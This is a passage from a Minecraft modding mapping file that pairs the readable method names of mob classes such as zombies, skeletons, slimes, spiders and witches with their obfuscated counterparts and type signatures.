+MD: net/minecraft/entity/monster/EntityPigZombie$AITargetAggressor/shouldExecute ()Z net/minecraft/entity/monster/EntityPigZombie$AITargetAggressor/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityPigZombie$AIHurtByAggressor/setEntityAttackTarget (Lnet/minecraft/entity/EntityCreature;Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/monster/EntityPigZombie$AIHurtByAggressor/func_179446_a (Lnet/minecraft/entity/EntityCreature;Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/monster/EntityPigZombie/updateAITasks ()V net/minecraft/entity/monster/EntityPigZombie/func_70619_bc ()V +MD: net/minecraft/entity/monster/EntityPigZombie/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityPigZombie/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityPigZombie/setEquipmentBasedOnDifficulty (Lnet/minecraft/world/DifficultyInstance;)V net/minecraft/entity/monster/EntityPigZombie/func_180481_a (Lnet/minecraft/world/DifficultyInstance;)V +MD: net/minecraft/entity/monster/EntityPigZombie/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/monster/EntityPigZombie/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/monster/EntityPigZombie/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/monster/EntityPigZombie/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/monster/EntityPigZombie/access$000 (Lnet/minecraft/entity/monster/EntityPigZombie;Lnet/minecraft/entity/Entity;)V net/minecraft/entity/monster/EntityPigZombie/access$000 (Lnet/minecraft/entity/monster/EntityPigZombie;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/monster/EntityPigZombie/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/monster/EntityPigZombie/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/monster/EntityPigZombie/applyEntityAttributes ()V net/minecraft/entity/monster/EntityPigZombie/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityPigZombie/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityPigZombie/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityPigZombie/becomeAngryAt (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/monster/EntityPigZombie/func_70835_c (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/monster/EntityPigZombie/setRevengeTarget (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/monster/EntityPigZombie/func_70604_c (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/monster/EntityPigZombie/dropFewItems (ZI)V net/minecraft/entity/monster/EntityPigZombie/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntityPigZombie/getCanSpawnHere ()Z net/minecraft/entity/monster/EntityPigZombie/func_70601_bi ()Z +MD: net/minecraft/entity/monster/EntityPigZombie/isNotColliding ()Z net/minecraft/entity/monster/EntityPigZombie/func_70058_J ()Z +MD: net/minecraft/entity/monster/EntityPigZombie/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityPigZombie/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityPigZombie/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityPigZombie/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityPigZombie/addRandomDrop ()V net/minecraft/entity/monster/EntityPigZombie/func_82164_bB ()V +MD: net/minecraft/entity/monster/EntityPigZombie/isAngry ()Z net/minecraft/entity/monster/EntityPigZombie/func_175457_ck ()Z +MD: net/minecraft/entity/monster/EntityPigZombie/applyEntityAI ()V net/minecraft/entity/monster/EntityPigZombie/func_175456_n ()V +MD: net/minecraft/entity/monster/EntityPigZombie/onUpdate ()V net/minecraft/entity/monster/EntityPigZombie/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntityPigZombie/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityPigZombie/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/IRangedAttackMob/attackEntityWithRangedAttack (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/entity/IRangedAttackMob/func_82196_d (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/entity/SharedMonsterAttributes/readAttributeModifierFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/entity/ai/attributes/AttributeModifier; net/minecraft/entity/SharedMonsterAttributes/func_111259_a (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/entity/ai/attributes/AttributeModifier; +MD: net/minecraft/entity/SharedMonsterAttributes/writeAttributeInstanceToNBT (Lnet/minecraft/entity/ai/attributes/IAttributeInstance;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/entity/SharedMonsterAttributes/func_111261_a (Lnet/minecraft/entity/ai/attributes/IAttributeInstance;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/entity/SharedMonsterAttributes/applyModifiersToAttributeInstance (Lnet/minecraft/entity/ai/attributes/IAttributeInstance;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/SharedMonsterAttributes/func_111258_a (Lnet/minecraft/entity/ai/attributes/IAttributeInstance;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/SharedMonsterAttributes/writeAttributeModifierToNBT (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/entity/SharedMonsterAttributes/func_111262_a (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/entity/SharedMonsterAttributes/writeBaseAttributeMapToNBT (Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;)Lnet/minecraft/nbt/NBTTagList; net/minecraft/entity/SharedMonsterAttributes/func_111257_a (Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;)Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/entity/SharedMonsterAttributes/setAttributeModifiers (Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;Lnet/minecraft/nbt/NBTTagList;)V net/minecraft/entity/SharedMonsterAttributes/func_151475_a (Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;Lnet/minecraft/nbt/NBTTagList;)V +MD: net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/shouldExecute ()Z net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/continueExecuting ()Z net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/func_75253_b ()Z +MD: net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/startExecuting ()V net/minecraft/entity/monster/EntitySilverfish$AIHideInStone/func_75249_e ()V +MD: net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/shouldExecute ()Z net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/updateTask ()V net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/func_75246_d ()V +MD: net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/func_179462_f ()V net/minecraft/entity/monster/EntitySilverfish$AISummonSilverfish/func_179462_f ()V +MD: net/minecraft/entity/monster/EntitySilverfish/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntitySilverfish/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntitySilverfish/getBlockPathWeight (Lnet/minecraft/util/BlockPos;)F net/minecraft/entity/monster/EntitySilverfish/func_180484_a (Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/entity/monster/EntitySilverfish/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/monster/EntitySilverfish/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/monster/EntitySilverfish/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/monster/EntitySilverfish/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/monster/EntitySilverfish/getEyeHeight ()F net/minecraft/entity/monster/EntitySilverfish/func_70047_e ()F +MD: net/minecraft/entity/monster/EntitySilverfish/applyEntityAttributes ()V net/minecraft/entity/monster/EntitySilverfish/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntitySilverfish/getYOffset ()D net/minecraft/entity/monster/EntitySilverfish/func_70033_W ()D +MD: net/minecraft/entity/monster/EntitySilverfish/getCanSpawnHere ()Z net/minecraft/entity/monster/EntitySilverfish/func_70601_bi ()Z +MD: net/minecraft/entity/monster/EntitySilverfish/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySilverfish/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySilverfish/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySilverfish/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySilverfish/getCreatureAttribute ()Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/monster/EntitySilverfish/func_70668_bt ()Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/monster/EntitySilverfish/isValidLightLevel ()Z net/minecraft/entity/monster/EntitySilverfish/func_70814_o ()Z +MD: net/minecraft/entity/monster/EntitySilverfish/canTriggerWalking ()Z net/minecraft/entity/monster/EntitySilverfish/func_70041_e_ ()Z +MD: net/minecraft/entity/monster/EntitySilverfish/onUpdate ()V net/minecraft/entity/monster/EntitySilverfish/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntitySilverfish/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySilverfish/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandDeOp/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandDeOp/func_82362_a ()I +MD: net/minecraft/command/server/CommandDeOp/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandDeOp/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandDeOp/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandDeOp/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandDeOp/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandDeOp/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandDeOp/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandDeOp/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySkeleton/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntitySkeleton/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntitySkeleton/setSkeletonType (I)V net/minecraft/entity/monster/EntitySkeleton/func_82201_a (I)V +MD: net/minecraft/entity/monster/EntitySkeleton/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/monster/EntitySkeleton/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/monster/EntitySkeleton/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntitySkeleton/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntitySkeleton/setEquipmentBasedOnDifficulty (Lnet/minecraft/world/DifficultyInstance;)V net/minecraft/entity/monster/EntitySkeleton/func_180481_a (Lnet/minecraft/world/DifficultyInstance;)V +MD: net/minecraft/entity/monster/EntitySkeleton/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/monster/EntitySkeleton/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/monster/EntitySkeleton/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/monster/EntitySkeleton/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/monster/EntitySkeleton/attackEntityWithRangedAttack (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/entity/monster/EntitySkeleton/func_82196_d (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/entity/monster/EntitySkeleton/getEyeHeight ()F net/minecraft/entity/monster/EntitySkeleton/func_70047_e ()F +MD: net/minecraft/entity/monster/EntitySkeleton/applyEntityAttributes ()V net/minecraft/entity/monster/EntitySkeleton/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntitySkeleton/updateRidden ()V net/minecraft/entity/monster/EntitySkeleton/func_70098_U ()V +MD: net/minecraft/entity/monster/EntitySkeleton/getYOffset ()D net/minecraft/entity/monster/EntitySkeleton/func_70033_W ()D +MD: net/minecraft/entity/monster/EntitySkeleton/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntitySkeleton/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntitySkeleton/dropFewItems (ZI)V net/minecraft/entity/monster/EntitySkeleton/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntitySkeleton/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySkeleton/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySkeleton/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySkeleton/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySkeleton/addRandomDrop ()V net/minecraft/entity/monster/EntitySkeleton/func_82164_bB ()V +MD: net/minecraft/entity/monster/EntitySkeleton/getCreatureAttribute ()Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/monster/EntitySkeleton/func_70668_bt ()Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/monster/EntitySkeleton/setCurrentItemOrArmor (ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/monster/EntitySkeleton/func_70062_b (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/monster/EntitySkeleton/getSkeletonType ()I net/minecraft/entity/monster/EntitySkeleton/func_82202_m ()I +MD: net/minecraft/entity/monster/EntitySkeleton/entityInit ()V net/minecraft/entity/monster/EntitySkeleton/func_70088_a ()V +MD: net/minecraft/entity/monster/EntitySkeleton/onLivingUpdate ()V net/minecraft/entity/monster/EntitySkeleton/func_70636_d ()V +MD: net/minecraft/entity/monster/EntitySkeleton/setCombatTask ()V net/minecraft/entity/monster/EntitySkeleton/func_85036_m ()V +MD: net/minecraft/entity/monster/EntitySkeleton/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/EntitySkeleton/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/EntitySkeleton/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySkeleton/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySlime$AISlimeAttack/shouldExecute ()Z net/minecraft/entity/monster/EntitySlime$AISlimeAttack/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntitySlime$AISlimeAttack/continueExecuting ()Z net/minecraft/entity/monster/EntitySlime$AISlimeAttack/func_75253_b ()Z +MD: net/minecraft/entity/monster/EntitySlime$AISlimeAttack/startExecuting ()V net/minecraft/entity/monster/EntitySlime$AISlimeAttack/func_75249_e ()V +MD: net/minecraft/entity/monster/EntitySlime$AISlimeAttack/updateTask ()V net/minecraft/entity/monster/EntitySlime$AISlimeAttack/func_75246_d ()V +MD: net/minecraft/entity/monster/EntitySlime$AISlimeFloat/shouldExecute ()Z net/minecraft/entity/monster/EntitySlime$AISlimeFloat/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntitySlime$AISlimeFloat/updateTask ()V net/minecraft/entity/monster/EntitySlime$AISlimeFloat/func_75246_d ()V +MD: net/minecraft/entity/monster/EntitySlime$AISlimeHop/shouldExecute ()Z net/minecraft/entity/monster/EntitySlime$AISlimeHop/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntitySlime$AISlimeHop/updateTask ()V net/minecraft/entity/monster/EntitySlime$AISlimeHop/func_75246_d ()V +MD: net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/setSpeed (D)V net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/func_179921_a (D)V +MD: net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/func_179920_a (FZ)V net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/func_179920_a (FZ)V +MD: net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/onUpdateMoveHelper ()V net/minecraft/entity/monster/EntitySlime$SlimeMoveHelper/func_75641_c ()V +MD: net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/shouldExecute ()Z net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/updateTask ()V net/minecraft/entity/monster/EntitySlime$AISlimeFaceRandom/func_75246_d ()V +MD: net/minecraft/entity/monster/EntitySlime/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntitySlime/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntitySlime/setDead ()V net/minecraft/entity/monster/EntitySlime/func_70106_y ()V +MD: net/minecraft/entity/monster/EntitySlime/setSlimeSize (I)V net/minecraft/entity/monster/EntitySlime/func_70799_a (I)V +MD: net/minecraft/entity/monster/EntitySlime/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntitySlime/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntitySlime/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/monster/EntitySlime/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/monster/EntitySlime/getEyeHeight ()F net/minecraft/entity/monster/EntitySlime/func_70047_e ()F +MD: net/minecraft/entity/monster/EntitySlime/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntitySlime/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntitySlime/getSoundVolume ()F net/minecraft/entity/monster/EntitySlime/func_70599_aP ()F +MD: net/minecraft/entity/monster/EntitySlime/jump ()V net/minecraft/entity/monster/EntitySlime/func_70664_aZ ()V +MD: net/minecraft/entity/monster/EntitySlime/getVerticalFaceSpeed ()I net/minecraft/entity/monster/EntitySlime/func_70646_bf ()I +MD: net/minecraft/entity/monster/EntitySlime/getCanSpawnHere ()Z net/minecraft/entity/monster/EntitySlime/func_70601_bi ()Z +MD: net/minecraft/entity/monster/EntitySlime/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySlime/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySlime/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySlime/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySlime/createInstance ()Lnet/minecraft/entity/monster/EntitySlime; net/minecraft/entity/monster/EntitySlime/func_70802_j ()Lnet/minecraft/entity/monster/EntitySlime; +MD: net/minecraft/entity/monster/EntitySlime/getJumpDelay ()I net/minecraft/entity/monster/EntitySlime/func_70806_k ()I +MD: net/minecraft/entity/monster/EntitySlime/alterSquishAmount ()V net/minecraft/entity/monster/EntitySlime/func_70808_l ()V +MD: net/minecraft/entity/monster/EntitySlime/canDamagePlayer ()Z net/minecraft/entity/monster/EntitySlime/func_70800_m ()Z +MD: net/minecraft/entity/monster/EntitySlime/getAttackStrength ()I net/minecraft/entity/monster/EntitySlime/func_70805_n ()I +MD: net/minecraft/entity/monster/EntitySlime/getJumpSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySlime/func_70803_o ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySlime/makesSoundOnLand ()Z net/minecraft/entity/monster/EntitySlime/func_70804_p ()Z +MD: net/minecraft/entity/monster/EntitySlime/getSlimeSize ()I net/minecraft/entity/monster/EntitySlime/func_70809_q ()I +MD: net/minecraft/entity/monster/EntitySlime/makesSoundOnJump ()Z net/minecraft/entity/monster/EntitySlime/func_70807_r ()Z +MD: net/minecraft/entity/monster/EntitySlime/onCollideWithPlayer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/monster/EntitySlime/func_70100_b_ (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/monster/EntitySlime/func_175451_e (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/monster/EntitySlime/func_175451_e (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/monster/EntitySlime/entityInit ()V net/minecraft/entity/monster/EntitySlime/func_70088_a ()V +MD: net/minecraft/entity/monster/EntitySlime/onDataWatcherUpdate (I)V net/minecraft/entity/monster/EntitySlime/func_145781_i (I)V +MD: net/minecraft/entity/monster/EntitySlime/applyEntityCollision (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/monster/EntitySlime/func_70108_f (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/monster/EntitySlime/getParticleType ()Lnet/minecraft/util/EnumParticleTypes; net/minecraft/entity/monster/EntitySlime/func_180487_n ()Lnet/minecraft/util/EnumParticleTypes; +MD: net/minecraft/entity/monster/EntitySlime/onUpdate ()V net/minecraft/entity/monster/EntitySlime/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntitySpider$AISpiderAttack/func_179512_a (Lnet/minecraft/entity/EntityLivingBase;)D net/minecraft/entity/monster/EntitySpider$AISpiderAttack/func_179512_a (Lnet/minecraft/entity/EntityLivingBase;)D +MD: net/minecraft/entity/monster/EntitySpider$AISpiderAttack/continueExecuting ()Z net/minecraft/entity/monster/EntitySpider$AISpiderAttack/func_75253_b ()Z +MD: net/minecraft/entity/monster/EntitySpider$GroupData/func_111104_a (Ljava/util/Random;)V net/minecraft/entity/monster/EntitySpider$GroupData/func_111104_a (Ljava/util/Random;)V +MD: net/minecraft/entity/monster/EntitySpider$AISpiderTarget/shouldExecute ()Z net/minecraft/entity/monster/EntitySpider$AISpiderTarget/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntitySpider/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntitySpider/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntitySpider/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/monster/EntitySpider/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/monster/EntitySpider/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/monster/EntitySpider/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/monster/EntitySpider/setBesideClimbableBlock (Z)V net/minecraft/entity/monster/EntitySpider/func_70839_e (Z)V +MD: net/minecraft/entity/monster/EntitySpider/setInWeb ()V net/minecraft/entity/monster/EntitySpider/func_70110_aj ()V +MD: net/minecraft/entity/monster/EntitySpider/getEyeHeight ()F net/minecraft/entity/monster/EntitySpider/func_70047_e ()F +MD: net/minecraft/entity/monster/EntitySpider/applyEntityAttributes ()V net/minecraft/entity/monster/EntitySpider/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntitySpider/getMountedYOffset ()D net/minecraft/entity/monster/EntitySpider/func_70042_X ()D +MD: net/minecraft/entity/monster/EntitySpider/getNewNavigator (Lnet/minecraft/world/World;)Lnet/minecraft/pathfinding/PathNavigate; net/minecraft/entity/monster/EntitySpider/func_175447_b (Lnet/minecraft/world/World;)Lnet/minecraft/pathfinding/PathNavigate; +MD: net/minecraft/entity/monster/EntitySpider/dropFewItems (ZI)V net/minecraft/entity/monster/EntitySpider/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntitySpider/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySpider/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySpider/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySpider/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntitySpider/getCreatureAttribute ()Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/monster/EntitySpider/func_70668_bt ()Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/monster/EntitySpider/isPotionApplicable (Lnet/minecraft/potion/PotionEffect;)Z net/minecraft/entity/monster/EntitySpider/func_70687_e (Lnet/minecraft/potion/PotionEffect;)Z +MD: net/minecraft/entity/monster/EntitySpider/entityInit ()V net/minecraft/entity/monster/EntitySpider/func_70088_a ()V +MD: net/minecraft/entity/monster/EntitySpider/isOnLadder ()Z net/minecraft/entity/monster/EntitySpider/func_70617_f_ ()Z +MD: net/minecraft/entity/monster/EntitySpider/isBesideClimbableBlock ()Z net/minecraft/entity/monster/EntitySpider/func_70841_p ()Z +MD: net/minecraft/entity/monster/EntitySpider/onUpdate ()V net/minecraft/entity/monster/EntitySpider/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntitySpider/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntitySpider/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityWitch/handleStatusUpdate (B)V net/minecraft/entity/monster/EntityWitch/func_70103_a (B)V +MD: net/minecraft/entity/monster/EntityWitch/attackEntityWithRangedAttack (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/entity/monster/EntityWitch/func_82196_d (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/entity/monster/EntityWitch/setAggressive (Z)V net/minecraft/entity/monster/EntityWitch/func_82197_f (Z)V +MD: net/minecraft/entity/monster/EntityWitch/getEyeHeight ()F net/minecraft/entity/monster/EntityWitch/func_70047_e ()F +MD: net/minecraft/entity/monster/EntityWitch/applyEntityAttributes ()V net/minecraft/entity/monster/EntityWitch/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityWitch/dropFewItems (ZI)V net/minecraft/entity/monster/EntityWitch/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntityWitch/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityWitch/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityWitch/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityWitch/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityWitch/applyPotionDamageCalculations (Lnet/minecraft/util/DamageSource;F)F net/minecraft/entity/monster/EntityWitch/func_70672_c (Lnet/minecraft/util/DamageSource;F)F +MD: net/minecraft/entity/monster/EntityWitch/entityInit ()V net/minecraft/entity/monster/EntityWitch/func_70088_a ()V +MD: net/minecraft/entity/monster/EntityWitch/onLivingUpdate ()V net/minecraft/entity/monster/EntityWitch/func_70636_d ()V +MD: net/minecraft/entity/monster/EntityWitch/getAggressive ()Z net/minecraft/entity/monster/EntityWitch/func_82198_m ()Z +MD: net/minecraft/entity/monster/EntityWitch/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityWitch/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityZombie/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntityZombie/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntityZombie/canDespawn ()Z net/minecraft/entity/monster/EntityZombie/func_70692_ba ()Z +MD: net/minecraft/entity/monster/EntityZombie/handleStatusUpdate (B)V net/minecraft/entity/monster/EntityZombie/func_70103_a (B)V +MD: net/minecraft/entity/monster/EntityZombie/multiplySize (F)V net/minecraft/entity/monster/EntityZombie/func_146069_a (F)V +MD: net/minecraft/entity/monster/EntityZombie/setSize (FF)V net/minecraft/entity/monster/EntityZombie/func_70105_a (FF)V +MD: net/minecraft/entity/monster/EntityZombie/startConversion (I)V net/minecraft/entity/monster/EntityZombie/func_82228_a (I)V +MD: net/minecraft/entity/monster/EntityZombie/playStepSound 